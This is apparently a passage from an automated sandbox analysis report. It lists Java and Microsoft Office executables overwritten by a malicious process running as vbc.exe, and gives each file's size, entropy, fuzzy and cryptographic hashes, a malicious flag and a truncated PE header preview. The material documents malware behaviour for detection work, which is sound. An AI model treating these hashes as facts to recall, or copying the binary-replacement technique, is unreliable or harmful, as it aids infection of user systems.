SSDEEP:	12288:wYdP/FXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:1dP/FsqjnhMgeiCl7G0nehbGZpbD
MD5:	34B30E2AF4ADD2928FB81BAE2326279B
SHA1:	A253182AAD0B2618FFCAC9CD1CF2698E64E128B1
SHA-256:	7D325B31D051009B7AD016739883AECBCD05F78B9F8920EB65158CE496C7DF62
SHA-512:	902BDCB5B6498E15656CAB63B49CF6BA4E50676F1F61CF6C77035FE4925B0630911DC8336A452F3D06E70BC93BB9D890A7E7448C1F0C12D843A263AAA24EA102
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<.$x..wx..wx..wq.uwn..wl..vp..w...v}..w...vu..w...v{..wx..w...w...v_..w...vy..w...vs..w...wy..w...vy..wRichx..w........PE..L...}.d..........................................@..........................P.......\..........................................h...................................`v..T............................u..@............................................text............................... ..`.rdata..R...........................@..@.data...P2..........................@....rsrc...............................@..@.reloc...`.......P..................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032934498644877
Encrypted:	false
SSDEEP:	12288:Iy5eXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:1YsqjnhMgeiCl7G0nehbGZpbD
MD5:	98E9B085064D5A06FCF7DBF3C37C2F35
SHA1:	55192B019C682C0454FBDBE8147971C77BA70A30
SHA-256:	EC0E180ED2A192259A4E736EC58BC47DB588942C5DD75754B77BD7ADD176392A
SHA-512:	A30483E78254A5C005AC225A0FDC2667C0F41F7914DA09615C20F97A2C20601D332E8B2D48C15C0138991DA6D0C1A07AC13257407691A208E927059E60E8AD4B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................h.......................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.033002535646008
Encrypted:	false
SSDEEP:	12288:uKl2Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:P0sqjnhMgeiCl7G0nehbGZpbD
MD5:	C4A15AA44201BC7073D9D4A3B317E232
SHA1:	FC2AB97779C003BBA135297B4BBE5043498B16BA
SHA-256:	ACB94C61F97571614A0820EB857F621DDB4AF986D51DDEC281155E0875F2620F
SHA-512:	8FBE97F7522C26977E3F07729305FB864C99CCB9ACA69E559776CEE98F319ABF9E14799C781A82EBC3EA3EA4110496A1EBF03BA9D31319CFCF210E8AF318CC36
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................,........................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.033000943068155
Encrypted:	false
SSDEEP:	12288:qil2Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:70sqjnhMgeiCl7G0nehbGZpbD
MD5:	164AFCA90EFE5E1FEA58AE513A0E48B4
SHA1:	65E5CD20B58A4F74B117F0238AE9ABB7AD21C06F
SHA-256:	66C8422C5979170ED28893FAEC3C7927DAB990C0723C2B878AAE76C3FBE6698C
SHA-512:	F9DCB1EAD3B80FF4BC560FEF2D00E474824CF94EC9ED38D3CDB951C8C846062B16FE59A387B844D8BAC61A773BCE14CB6681D5E5C1CDB94DB87FCB088A0D498A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................T .......................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.03297280481134
Encrypted:	false
SSDEEP:	12288:gTmWXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:67sqjnhMgeiCl7G0nehbGZpbD
MD5:	E59D630134E88B32C6992D11CFC85DA1
SHA1:	05388A3004250D344BC0B6C08DDFC44F08F0AAFC
SHA-256:	74A44AD51E6E2C06E90DADC63A5C28A0759FBC6C14C14FF9E7859E3D5A3E3C7B
SHA-512:	B1DF057F18D9E905649CB953A5DB54644536015F747FA946AD07459411BFD057FBAF80BC793E6E01B4DE63F8250E0403C4FA082B289E08B55973C7DFE910CF2A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................W........................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.033892827601967
Encrypted:	false
SSDEEP:	12288:namSXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:avsqjnhMgeiCl7G0nehbGZpbD
MD5:	628B5449C309D20E951E39D9A0246055
SHA1:	1D6E0A65A6B11BC8CD77B1C2D429E61B2D772234
SHA-256:	A23F40D30A7513766CA1C58023E8BE052B54D659C1D0B8D959B262B96F19D1C4
SHA-512:	BDCB37FB1295B7FF7095F4CD446CF174E92B26063E2D86ECD6C8F7156ADB6EB59E05A48460D72A9D24F61BE425A784AA921446CE4EB19BD12123D1D3EFB3BE52
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................D'.......@..P........................... #..T...........................`"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.032947051083148
Encrypted:	false
SSDEEP:	12288:JQ5eXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:6AsqjnhMgeiCl7G0nehbGZpbD
MD5:	6020C26D5FF8F4B795AECD215620E40D
SHA1:	51ADFA5CE884FEF2C1FE670C709583767CF0C0B2
SHA-256:	0A6952148C7B003532796F1490BB27A2907FFE587BFA5AE40048E07980569A42
SHA-512:	BB36F98FF8F3EEC1EC7B9458B708DAF4E0699F884D4696E485059B3E5CF8658EE1F3032F1ADA18E374F9FCC756A20086214614DBC0BCC6B8775C9F2F1E72B2B7
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................M........................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024640957579667
Encrypted:	false
SSDEEP:	24576:7eRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:qRVlbnXf9gPTTW7H1GXC
MD5:	CAD637EB2FFD660CF3BF73B6AC5E6E68
SHA1:	E0F3C86F1AEF9E7536F540C87BEAE3A54DC68A4A
SHA-256:	F5A868A80D7C11483D9FE09F708F16B27FC215106FF1F6983913DA7D3B6D8EEB
SHA-512:	437EEE8B7F3E875DD5D4E1EB09CB3B2CD6512419025EC9B13F227C9D49BC640B0E6E5E9FB5DD22BC3E863E0207E502A2449320A1F7596AD1ABC3E1BE7C4D5C3A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024537477094705
Encrypted:	false
SSDEEP:	24576:ehRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:QRVlbnXf9gPTTW7H1GXC
MD5:	2B266884D8985902DDEACCCC1C39988B
SHA1:	65ECDF9DEBC68B456495CA5D98D6FB72C9DE811E
SHA-256:	5E4C3C21C5BF07C1C686ACA465DF6F16A711D6BF94123484FD661AA377471782
SHA-512:	C729D8EC7736BEBED0816F09508F3E0EA50680B50A326C6BA2BA6E37569D71132F468DC78BBADA8A1B43C0611678D1F7727F2C8E6CBF61DC762295F0ADACF3B0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................-3.......................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024577215862778
Encrypted:	false
SSDEEP:	24576:ZVRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:fRVlbnXf9gPTTW7H1GXC
MD5:	D68197CB7A969ABEBBDF7FA11F15C46B
SHA1:	2BE9A213F2C501243E3232A3918F98C62B9B6CDD
SHA-256:	C67F8A9CED2A05582C76F276FECC4181C22D37AA1EC1BFA66FDBC3ECE29CA3BF
SHA-512:	BD5A05EAC90BD6E957EEE566389DAB22248BD4EB48FE72EFA5179E06D77AAE050B21D0E94E9DCA8973D672A73FF6A0167E20E14D1B6DF1791C2E8DA9370771A9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................<>.......................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	5.024653898378948
Encrypted:	false
SSDEEP:	24576:meRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:TRVlbnXf9gPTTW7H1GXC
MD5:	FADC2A132A30172856F6E57111C4B6B3
SHA1:	7FFB8C6F05F3E8215CA92ED04F5097FF8448FD8A
SHA-256:	4DF575272BABB5AE697AFED47F2A30A89FEF139A95A841E1CBC4ECDB7EF9DC14
SHA-512:	6CD008277749088C770A479CEF56ACA397F6DD4D2448E35077E86A244BEB39121489F325C28E310E617A143B651F1612E16AD3205B6FBB894A219145879CBE72
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...P...P...@..................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1202688
Entropy (8bit):	5.089835278164136
Encrypted:	false
SSDEEP:	24576:+7QRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:+8RVlbnXf9gPTTW7H1GXC
MD5:	920C166D7A03F901C3948508994B94A4
SHA1:	F6E43358F2418672ABF1957BE665D45A724A2782
SHA-256:	D26F690006771FF640426D7FF69B2F5DD1F2F8795D6ECFACA685AC03B3109A39
SHA-512:	FF5F8DA9B036B3CDA780EBAB33F0115F580AB05090D48E9B7FF2BF46B11FBB354E608B78A2D118711E647B9D02D32C291874E27F8F9DD0E9C70B0610E30182AA
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zGG.>&).>&).>&).7^..&).\^(.<&).\^-.3&).\^.=&).M-.?&).M(.7&).>&(.&).\^,..&)._,.:&)._..?&)._+.?&).Rich>&).........PE..L...M.d.................\|...........u............@.................................(X..........................................@....0..............................H...T...............................@...............P...P........................text...L{.......\|.................. ..`.rdata.............................@..@.data........ ......................@....rsrc........0......................@..@.reloc...P...@...@..................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142784
Entropy (8bit):	5.02398565320506
Encrypted:	false
SSDEEP:	24576:qHRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:0RVlbnXf9gPTTW7H1GXC
MD5:	DC861DFB2C0505A181FFE8C97ACD696F
SHA1:	231EDEFBF792B79F39433259C78C26C0F28F2F10
SHA-256:	A2774925DEA2B93178BA93E110836F76A341CB9924E7E6D48CA37454EABCD46D
SHA-512:	75C639482103F4572F1DC99EFCDCB3B18AE50F1F5C2AC131DC1C02FE8CF4B1201F196BD67AD6D739EEC389B5432896BF9CEC7AA682061DF6F60D83FE0CCCF516
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................... ............... ....@.................................UZ.......................................'.......@..h...........................8#..T...........................x"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....rsrc...h....@.......$..............@..@.reloc...P...P...@...0..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1298944
Entropy (8bit):	5.241338551400746
Encrypted:	false
SSDEEP:	24576:8i7l/3roAsRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:Xl/roAsRVlbnXf9gPTTW7H1GXC
MD5:	41F9423776769B73AACEEE8707FDA6C1
SHA1:	319D3D3DF3F80F579F15E336957ACAB2E56DF668
SHA-256:	7CE07079A638554E78253A5D61981F10FC6FB9B9BB73D141D13044300B6F2C57
SHA-512:	542B52E0E6F8E9546773BCEFCBC7665B0C394AF27CEF8A11F0C4C5D4B683C89BAC5DD0206062FEDC9B1B17DBF3D4213537598722DC8E9B27EFA2D1588072428A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...........................................................................................Rich............................PE..L.....d............................A.............@..........................0..........................................................D............................e..8............................e..@............................................text...D........................... ..`.rdata..5...........................@..@.data................f..............@....idata...............v..............@..@.00cfg..............................@..@.rsrc...D...........................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1269248
Entropy (8bit):	5.279098752362309
Encrypted:	false
SSDEEP:	24576:iNfQnYRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:osYRVlbnXf9gPTTW7H1GXC
MD5:	AA3D2B5DC8538715B6CCF1051E29E237
SHA1:	3210183293FA3B1187ECC8632FFD21D83812748B
SHA-256:	61D910D63432C365BA2EFA17B169CD5235C2C61B7EB44DC5B3AA304CC57587E3
SHA-512:	8C14227E62D40E94E72C9E1991ECE00BAE672111000F597C5C08A7DEAA5DAF7D33C6D9B18050B12402B2A928B95C67C7BC054CC6ECF02162EB33EED737E49F07
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?.......................................y.......y.......y.......Rich............................PE..L...-1.e............... ..........................@.................................8W......................................d...........................................8...............................@...............,............................text............................... ..`.rdata..4a.......b..................@..@.data........ ......................@....reloc...`...@...P..................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1287680
Entropy (8bit):	5.294729745535157
Encrypted:	false
SSDEEP:	24576:XLikRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:JRVlbnXf9gPTTW7H1GXC
MD5:	A9A5962A33C412E772BEBB9B8F25B2BA
SHA1:	5BCA570BCED716483EC539DEAC5C5607BB951983
SHA-256:	F3057EFC46376331154E497B80C577B84A1A8C089D87FDF107109B83F329CC55
SHA-512:	36ECF677672368A8CD46AD720C69993290BED7639DDDF90FE973C199ECFCC02B410B2E3AE7C69437BAF7F55448D655B6C9C19E4AD16FD43875117BEF0C0ACBD1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@.............................................. ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc...p...p...`...F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1287680
Entropy (8bit):	5.294741180860204
Encrypted:	false
SSDEEP:	24576:kLikRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:YRVlbnXf9gPTTW7H1GXC
MD5:	DDA8AD019DC9EF7DB00131460AB8C5E7
SHA1:	403C35483AF686C58843849275245BC86C41D37D
SHA-256:	BD6CB95E44694E95DEF5120C41BC6C9A3C0054DED636D1F1EF4D2D211B5C6001
SHA-512:	66021EF9EFA828D337655E08961A7EE5F36C571F85AD8A6E2F64B055E54DF0022872D9C718975228A09D55456BC73CB92464ACF2845B1D05D1B25B1469F6A07B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@.............................................. ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc...p...p...`...F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1343488
Entropy (8bit):	5.228133943442697
Encrypted:	false
SSDEEP:	24576:efkRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:efkRVlbnXf9gPTTW7H1GXC
MD5:	63638881E14CA9E4ABECC110EA5611C8
SHA1:	634D74AC60978926F2BE2C6DE4BE75742FAA5EA0
SHA-256:	616771D792B1263F80E1E3D67E11C4520687A4620B901D889C38D9FBF1A2A7C3
SHA-512:	3F7E466314D5F36C46FEA8C50243342A584C55B75C8DA9C1E16866E6D36AF59301BC8F284D0534331D04C78AB6647FB15AC1FDD9C1A0E3938176C20515205F30
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .(.d.F.d.F.d.F.m..l.F...B.h.F...E.`.F...C.{.F...G.c.F.d.G...F...N.M.F.....f.F.....e.F...D.e.F.Richd.F.................PE..d....~0/.........."..........P.................@....................................Q..... .......... ...................................... ........ ..(...............................T....................e..(...`d..8............e...............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata..............................@..@.rsrc...(.... ......................@..@.reloc...p...0...`... ..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1496064
Entropy (8bit):	5.570607965848301
Encrypted:	false
SSDEEP:	24576:jbUO42i/E7RVldlnXfH9gPwCn7vOb7HHcp/CGXQp:jJ7RVlbnXf9gPTTW7H1GXC
MD5:	4687D73E99FCF600C6E9DB8593BE22E1
SHA1:	B873A344AF3B41A881C82F61A3386D7D2EBA2C38
SHA-256:	0988AAC03A5F0D1B99D7330E8EF815298669C716FA8998FAD963F8F78CCBCBF8
SHA-512:	F498CC7DE8A5997E65756526AAEAD9B0138AB4343350DBF7FD4FAA2AA417453A1E3FA74ECC62A2A11655B04ECE6AE508BAFCDD5C6A76A34D743B16037983BCD8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X..i.v.:.v.:.v.:...;9v.:...;.v.:...;.v.:.v.:.v.:...;$v.:...;4v.:...:.v.:...;.v.:Rich.v.:........................PE..L......m.................0...\|...............@....@.......................... ................... ......................................................................T...................`[..........@............p...............................text...l/.......0.................. ..`.data...@'...@.......4..............@....idata..@....p.......L..............@..@.c2r.................\...................rsrc................^..............@..@.reloc...........p...d..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52712960
Entropy (8bit):	7.9617757487388445
Encrypted:	false
SSDEEP:	1572864:ALjL44lyBc+UN0qRsMjDAY9d5o/paLXzHLe:sicZmsR3Lo/cnLe
MD5:	A86CE03D6283A2E451A7F31436D371E4
SHA1:	960EABAE4FCF6ED9A5135AB27A50A0A4DAD323E9
SHA-256:	EADA9C526D86356E5B3E968C8BCE451DF5AF3104DCA99E19F2A70F077DD059EA
SHA-512:	4D13468CEBA8E977D7F7F53457A03392DF253ABE41C0F26C122E14B0D69EBB9E1490A5223DCA957F0266D36809416109914F6861D376D12D8A269CE46C0FE7D5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......LN.../nB./nB./nB.]mC./nB.]kC./nB.TjC./nB.TmC./nB.TkC}/nB.FjC./nB.FkC3/nB.]hC./nB.]jC./nB.]oC?/nB./oBq-nB.TgC./nB.TkC./nB.TnC./nB.T.B./nB.TlC./nBRich./nB........................PE..L...1~............"....!.j(.........p]........(...@...........................$.....7w$..............................l3..t....3.0.....6.X............................./.p...................../.....h./.@.............(......j3.`....................text...jh(......j(................. ..`.rdata........(......n(.............@..@.data...t.... 4.......4.............@....didat..$.....5.......5.............@....rsrc...X.....6.......5.............@..@.reloc... ...........F..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4993536
Entropy (8bit):	6.809693913594545
Encrypted:	false
SSDEEP:	98304:hlkkCqyDEY7+o3OBvfGVY+40ya8yS+9s/pLcRVlbnP9WXW7H6C:XkkCqaE68eV+0ynE6LcHBVH
MD5:	1A67AA0CE29C84307AC30DF7524455CD
SHA1:	AC78570F31CF70CF2D410007B2F33B02A8E966EF
SHA-256:	D4368314B976E466C53B6229E65D8B6AC9366E108F0A7861233DAA913BDD4903
SHA-512:	09E5BE5722223B9A1160CD89F7DA41DF351C47D58B1D14F81FC74E4E4E74BC882D260459A24FD3D2780CDA7730FECA744C923AB268C8B5C4077F3D1327D8FD4B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........:V@.[8..[8..[8.{);..[8.{)=..[8..!<..[8..!;..[8..!=..[8.\.U..[8.\.E..[8.{)<..[8.{)>..[8.{)9..[8..[9..X8..!=..[8..!1.0^8..!...[8..[...[8..!:..[8.Rich.[8.................PE..L......e..........".... ....Z........%......`+...@..........................pL.......L......................................=......p?.............................<.=.8...................P.:..... .+.@.............+......j=......................text............................. ..`.rdata........+....................@..@.data.........=.......=.............@....rsrc........p?......F?.............@..@.reloc........?......R?.............@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1168384
Entropy (8bit):	5.036425509293555
Encrypted:	false
SSDEEP:	12288:CKGVlM41NTnXENcMduaD3aawgPwCnQ3MHv8CI4OJ1bbPHHcFb+KKqCGNpcyop/:CRVldlnXfH9gPwCn7vOb7HHcp/CGXQp
MD5:	6F2476BA0507172AD45688F83058CCE0
SHA1:	78D2A928E74F32C6C3AABB1274C9E2E7F80BE204
SHA-256:	03DEDAF7BDD6F27BB267EA676617B15B98AFD65A22447594FD3D5773F6CC9F2A
SHA-512:	9AB530906E8A1C76C736D706FCAB42D9B0A92856F7D2B572D995617894F5E23307F278976DD3269BE5A4BA9F692C2C97EE71AF9F80C2D897DD79FFC7BCAEB07B
Malicious:	true
Reputation:	unknown
